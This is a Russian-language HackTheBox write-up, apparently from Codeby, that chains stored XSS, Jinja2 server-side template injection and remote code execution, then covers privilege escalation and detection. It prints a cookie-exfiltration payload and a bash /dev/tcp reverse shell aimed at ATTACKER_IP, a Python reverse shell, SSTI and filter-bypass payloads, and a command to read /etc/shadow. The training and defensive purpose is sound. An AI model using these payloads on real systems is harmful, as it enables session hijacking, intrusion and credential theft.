РАЗБОР
Статья
HTB writeup: цепочка XSS -> SSTI -> RCE пошагово
[ обложка статьи ]
Режим чтения
Три пейлоада и 40 минут - от Stored XSS в форме обратной связи до shell на сервере. На HackTheBox-машинах уровня Medium эта цепочка появляется с завидной регулярностью: клиент-сайд уязвимость открывает дверь в админ-панель, а там - Server-Side Template Injection с прямой дорогой к Remote Code Execution. Большинство writeup'ов разбирают SSTI изолированно: вот пейлоад, вот shell, расходимся. На практике вход почти всегда начинается с чего-то "безобидного" вроде XSS. Разберу полную цепочку от
<script> до whoami, с объяснением логики на каждом шаге - потому что между звеньями прячутся микрорешения, которые ни один чужой writeup за тебя не примет.Цепочка эксплуатации XSS и SSTI: маппинг на ATT&CK
Прежде чем лезть в пейлоады - общая логика атаки. Цепочка укладывается в пять техник MITRE ATT&CK: Подробнее - в нашем обзоре пентест веб-приложений.| Шаг | Техника ATT&CK | Что делаем |
|---|---|---|
| 1 | Exploit Public-Facing Application (T1190, Initial Access) | Находим Stored XSS в веб-приложении |
| 2 | Credentials from Web Browsers (T1555.003, Credential Access) | XSS крадёт cookie админа через fetch/XHR |
| 3 | Unix Shell (T1059.004, Execution) | Через SSTI в админ-панели получаем reverse shell |
| 4 | SSH (T1021.004, Lateral Movement) | С найденными кредами перемещаемся из контейнера на хост |
| 5 | Exploitation for Privilege Escalation (T1068) | Поднимаем привилегии до root |
Ключевой момент - переход от клиент-сайд к серверной атаке. XSS сама по себе RCE не даёт. Но она открывает доступ к функциям, где RCE возможен. На HackTheBox этот паттерн встречается на машинах, где обычный пользователь видит форму ввода, а администратор - шаблонизатор для кастомизации страниц или email-рассылок. И вот тут начинается самое интересное.
Предусловия для воспроизведения
Цепочка работает при совпадении нескольких условий: веб-приложение на Flask/Django с шаблонизатором Jinja2, отсутствие или слабый CSP (Content Security Policy), наличие бота или реального администратора, который просматривает пользовательский контент, cookie без флагаHttpOnly. Последнее - ключевое: Flask и Django по умолчанию ставят HttpOnly=True для session cookie, так что кража сессии через document.cookie в стандартной конфигурации не пройдёт. На CTF-машинах этот флаг намеренно отключён - это уязвимая конфигурация, а не дефолт. В реальных приложениях для такой атаки нужна явная ошибка разработчика. На CTF-платформах бот-администратор (headless Chrome через Selenium или Puppeteer) имитирует визит админа - обычно в течение 30-60 секунд после сабмита.Со стороны атакующего: Kali Linux или любой GNU/Linux с Python 3 и netcat, Burp Suite Community Edition для перехвата запросов, активное VPN-подключение к HTB (
sudo openvpn с .ovpn-файлом).XSS в браузере админа: кража сессии администратора
Поиск Stored XSS
Разведка начинается стандартно:nmap -sC -sV -p- TARGET_IP для обнаружения открытых портов. Веб-приложение на порту 80 или 8080 - основной кандидат. Ищем точки ввода: формы обратной связи, комментарии, поля профиля, тикеты техподдержки.Stored XSS отличается от Reflected тем, что пейлоад сохраняется на сервере и срабатывает при просмотре страницы другим пользователем - в нашем случае администратором. Нам нужно, чтобы скрипт выполнился именно в его браузере.
Начинаю с базового
<script>alert(1)</script> в каждом текстовом поле. Фильтруется - пробую вариации: <img src=x onerror=alert(1)>, <svg/onload=alert(1)>. На HTB-машинах уровня Medium фильтрация часто кривая - <script> режут, а <img onerror> пропускают. В Burp Suite перехватываю запрос, подставляю пейлоад и смотрю ответ. Если в HTML-коде страницы ввод рендерится без экранирования - XSS подтверждена.Пейлоад для кражи cookie
alert(1) - только proof of concept. Для эксплуатации нужен пейлоад, который утянет cookie и отправит на контролируемый сервер. Поднимаю HTTP-сервер на своей машине: python3 -m http.server 8888. Формирую XSS-пейлоад:
HTML:
<img src=x onerror="fetch('http://ATTACKER_IP:8888/?c='+document.cookie)">
new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie - работает в старых браузерах и обходит CSP-политики, где ограничена connect-src, но не img-src (то есть при специфической конфигурации CSP). Отправляю пейлоад через форму обратной связи.На HTB-машинах с ботом-администратором срабатывание происходит быстро. В логах Python HTTP-сервера вижу GET-запрос с параметром
c=, содержащим сессионную cookie администратора. Подставляю украденную cookie в Burp Suite через Proxy -> Options -> Match and Replace, либо через расширение Cookie Editor в браузере. Открываю сайт - и вот она, админ-панель: управление шаблонами, кастомизация email-уведомлений, редактирование страниц. Именно здесь ищем SSTI.Бизнес-логика этой фазы: атакующему нужна не сама cookie, а доступ к привилегированным функциям. Администратор видит поля, которые рендерятся через шаблонизатор - поверхность атаки, недоступная обычному пользователю.
Server Side Template Injection: обнаружение шаблонизатора
Почему SSTI возникает в админ-панелях
SSTI возникает, когда пользовательский ввод попадает не в данные шаблона, а в сам шаблон. Уязвимый паттерн во Flask (согласно OWASP Web Security Testing Guide): вызовrender_template_string("Hello " + user_input) вместо безопасного render_template_string("Hello {{name}}", name=user_input). Разница - одна строка кода. Последствия - RCE на сервере. SSTI входит в категорию A03:2021 - Injection по OWASP Top 10.Админ-панели - идеальное место для этой дыры. Разработчики дают администратору возможность "кастомизировать" шаблоны писем или страниц и конкатенируют его ввод с шаблоном, потому что "это же админ, ему можно доверять". Знакомая песня. На HTB-машинах уязвимый параметр обычно сидит в веб-форме, доступной после получения доступа к приложению.
Трёхшаговая идентификация шаблонизатора
По методологии PortSwigger Research идентификация шаблонизатора проходит в три шага. Все запросы отправляю через Burp Repeater - подставляю пейлоад в подозрительный параметр (поле темы письма, название шаблона, поле кастомизации).Шаг 1 - математический тест. Отправляю
{{7*7}} в параметр. Если ответ содержит 49 вместо буквального текста - сервер обрабатывает ввод как часть шаблона. Это proof of concept для SSTI, аналогичный ' OR 1=1-- для SQL-инъекции.Шаг 2 - идентификация движка. Отправляю
{{7[I]'7'}}. Python умножает строку на число, поэтому Jinja2 вернёт 7777777. Twig (PHP) в большинстве случаев вернёт 49, так как PHP приводит строку '7' к числу, но поведение может отличаться в зависимости от версии Twig и настройки strict_variables. Это частный случай двух движков из полной таблицы PortSwigger, которая включает FreeMarker, Velocity, Smarty и другие - для них поведение {{7[/I]'7'}} отличается, см. оригинальную методологию.Шаг 3 - проверка контекста Flask. Если шаг 2 показал Jinja2 - отправляю
{{config}}. Во Flask-приложении в ответе появится объект конфигурации с SECRET_KEY, путями и переменными окружения. Наличие config подтверждает Flask.Для автоматизации есть
tplmap, который перебирает пейлоады для разных движков. На CTF я предпочитаю ручную проверку - три запроса в Burp Repeater дают результат за минуту, без лишнего шума в логах.Эксплуатация SSTI до RCE: пейлоад Jinja2
Config это так). Пейлоад для подтверждения RCE:
Код:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
config.[B]class[/B] - класс объекта конфигурации Flask; .[B]init[/B].[B]globals[/B] - глобальные переменные модуля, в котором определён класс; ['os'] - доступ к уже импортированному модулю os; .popen('id') - выполнение системной команды; .read() - чтение результата. Вернулось uid=0(root) или uid=1000(app) - RCE подтверждён. Можно выдохнуть и переходить к shell.Когда
request недоступен (чистый Jinja2 без Flask-контекста), работают альтернативные объекты: lipsum.[B]globals[/B]['os'].popen('id').read() или cycler.[B]init[/B].[B]globals[/B]['os'].popen('id').read(). Объекты lipsum и cycler - встроенные глобалы Jinja2, доступные в стандартном (не sandboxed) окружении. В Jinja2 SandboxedEnvironment (включая Flask с явно включённым sandbox) эти пути заблокированы - проверяйте доступность перед выбором цепочки.Ещё один подход, документированный исследователями, - для случаев, когда кавычки заблокированы: извлечение символов из строкового представления
[B]globals[/B] по индексам. Пейлоад {{self.[B]init[/B].[B]globals[/B].[B]str[/B]()[1786:1788]}} вытаскивает подстроку из глобалов - строка строится из уже существующих данных без единой кавычки. Грязно, но работает.Reverse shell и эскалация привилегий на HTB
Получение shell
Запускаю listener:nc -lvnp 4444. Жду строку Listening on 0.0.0.0 4444. Вместо id подставляю команду reverse shell в RCE-пейлоад: bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1". Полный пейлоад отправляю через Burp Repeater в уязвимый параметр.Если shell не приходит - типичные причины: outbound-фильтрация на сервере (пробую другие порты: 80, 443, 53), отсутствие
bash в контейнере (пробую sh или Python one-liner: python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])').После получения shell первым делом проверяю окружение:
whoami показывает текущего пользователя, hostname - имя хоста. cat /proc/1/cgroup покажет, сидим ли мы внутри Docker-контейнера. На многих HTB-машинах Flask-приложение запущено в контейнере - нужен ещё один pivot.Эскалация привилегий htb: от контейнера к root
Внутри контейнера ищу учётные данные:env для переменных окружения (часто содержат DATABASE_URL с паролями), find / -name "*.env" 2>/dev/null для файлов конфигурации, cat /etc/shadow для хешей. На машине Sightless (по данным Codeby Academy) из контейнера извлекались креды для SSH-подключения к хосту - техника Valid Accounts (T1078).После подключения к хосту по SSH - классические векторы повышения привилегий:
| Вектор | Команда проверки | На что смотреть |
|---|---|---|
| SUID-бинарники | find / -perm -4000 2>/dev/null | bash, find, env с SUID - root через GTFOBins |
| Открытые порты localhost | ss -tlnp | Сервисы, доступные только изнутри (debug-порты) |
| Cron jobs | cat /etc/crontab && ls /etc/cron.d/ | Задачи от root с записываемыми скриптами |
| Sudo misconfig | sudo -l | Команды, доступные без пароля |
На некоторых HTB-машинах вектором становится Chromium с открытым портом удалённой отладки - техника Browser Information Discovery (T1217). Подключение через SSH-туннель
ssh -L 9222:127.0.0.1:DEBUG_PORT user@host и chrome://inspect в локальном браузере давало доступ к Chrome DevTools Protocol с привилегиями - Exploitation for Privilege Escalation (T1068). Красивый вектор, который в дикой природе тоже встречается.Обход фильтров при эксплуатации server side template injection
На CTF-машинах уровня Hard и в реальных приложениях с WAF базовые SSTI-пейлоады блокируются. Основные техники обхода:Блокировка точек и подчёркиваний. Замена
request.application на bracket notation: request['application']. Подчёркивания в [B]globals[/B] заменяются на hex: \x5f\x5fglobals\x5f\x5f. Этот каскад обходов хорошо документирован в публичных исследованиях по SSTI bypass.Блокировка кавычек. Исследователи показали самодостаточные пейлоады, строящие строки из ASCII-кодов через
chr() или из индексов существующих строк. В Mako (альтернативный Python-шаблонизатор): ${str().join(chr(i)for(i)in[105,100])} генерирует строку "id" без кавычек. В Jinja2 - через self.[B]init[/B].[B]globals[/B].[B]str[/B]()[start:end].Фильтрация ключевых слов. Jinja2-фильтр
attr() принимает строку и возвращает атрибут объекта: ''|attr('\x5f\x5fclass\x5f\x5f') вместо ''.[B]class[/B]. WAF не видит запрещённые слова в чистом виде. Элегантно.Ограничение длины ввода. Разбиваем пейлоад на части через Jinja2-конструкцию
{% set %} для сохранения промежуточных результатов в переменных: {% set a = ''|attr('\x5f\x5fclass\x5f\x5f') %} в одном поле, затем используем a дальше.Для защиты, согласно OWASP, применяются три уровня: валидация ввода (whitelist, не blacklist), sandbox mode шаблонизатора и обновление зависимостей. На уровне инфраструктуры - Inbound Traffic Filtering (D3-ITF) и Protocol Metadata Anomaly Detection (D3-PMAD) по классификации D3FEND.
Детектирование цепочки XSS -> SSTI -> RCE
Для blue team полная цепочка оставляет следы на нескольких уровнях. Знание этих следов полезно и атакующим - понимание того, что детектируется, определяет OPSEC.XSS-фаза. Исходящий HTTP-запрос из браузера администратора на внешний IP с cookie в параметрах. Детектируется через мониторинг DNS/HTTP outbound - запрос к нехарактерному IP от внутреннего пользователя. Контрмера: флаги
HttpOnly и Secure на cookie полностью блокируют exfiltration через JavaScript. Одна строчка в конфиге - и вся эта часть цепочки рассыпается.SSTI-фаза. В логах веб-сервера появляются характерные паттерны:
{{, [B]class[/B], [B]globals[/B], [B]subclasses[/B]. WAF с CRS >= 3.3 блокирует большинство базовых пейлоадов.Reverse shell. В SigmaHQ правило
lnx_shell_susp_rev_shells.yml ловит паттерны /dev/tcp/ и bash -i - правило работает поверх логов auditd (execve) или Sysmon for Linux, для срабатывания нужен настроенный аудит процессов. Правило lnx_shell_susp_commands.yml детектирует подозрительные shell-команды на том же источнике данных. Для SSH lateral movement - lnx_sshd_susp_ssh.yml анализирует записи sshd в syslog/auth.log и фиксирует подключения с новых IP.Post-exploitation. Executable Allowlisting (D3-EAL) и File Integrity Monitoring (D3-FIM) ловят нетипичные процессы. Для credential access - правила из SigmaHQ по доступу к файлам браузеров (
proc_creation_win_sqlite_chromium_profile_data.yml).Практический чеклист защиты: передавать пользовательский ввод как данные шаблона (параметризация), включить CSP-заголовки для блокировки XSS-exfiltration, ставить
HttpOnly и Secure на cookie, использовать Jinja2 sandbox mode, мониторить outbound-трафик из внутренней сети.Чтение writeup'ов - хороший старт, но разница между "прочитал пейлоад" и "собрал цепочку сам" - примерно как между чтением мануала по плаванию и заплывом на глубине. Я видел, как люди, готовящиеся к OSCP, читают десятки разборов HackTheBox и потом не могут собрать цепочку с нуля на экзамене. Проблема не в знаниях - проблема в микрорешениях между звеньями: какой payload выбрать для cookie theft, как обойти CSP, куда смотреть в админке после получения доступа, как определить шаблонизатор за три запроса. Эти навыки тренируются только руками. Я видел, как люди тратят месяцы на чтение и потом не отличают Jinja2 от Twig на экзамене - потому что ни разу не отправляли
{{7*'7'}} сами. Цепочка XSS -> SSTI -> RCE - стандартный паттерн для Flask/Django-приложений на пентесте веб-части, и без уверенной отработки каждого звена экзамен превращается в лотерею. WAPT для тех, кому writeup'ов мало - там лабы с прогрессией и ментором, который не даст застрять на этапе "а почему [B]globals[/B] не работает".
AI-выжимка
по разделам
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Продолжить чтение
Следующий разбор
Определение сервера, приложения и фреймворка
Комментарии
0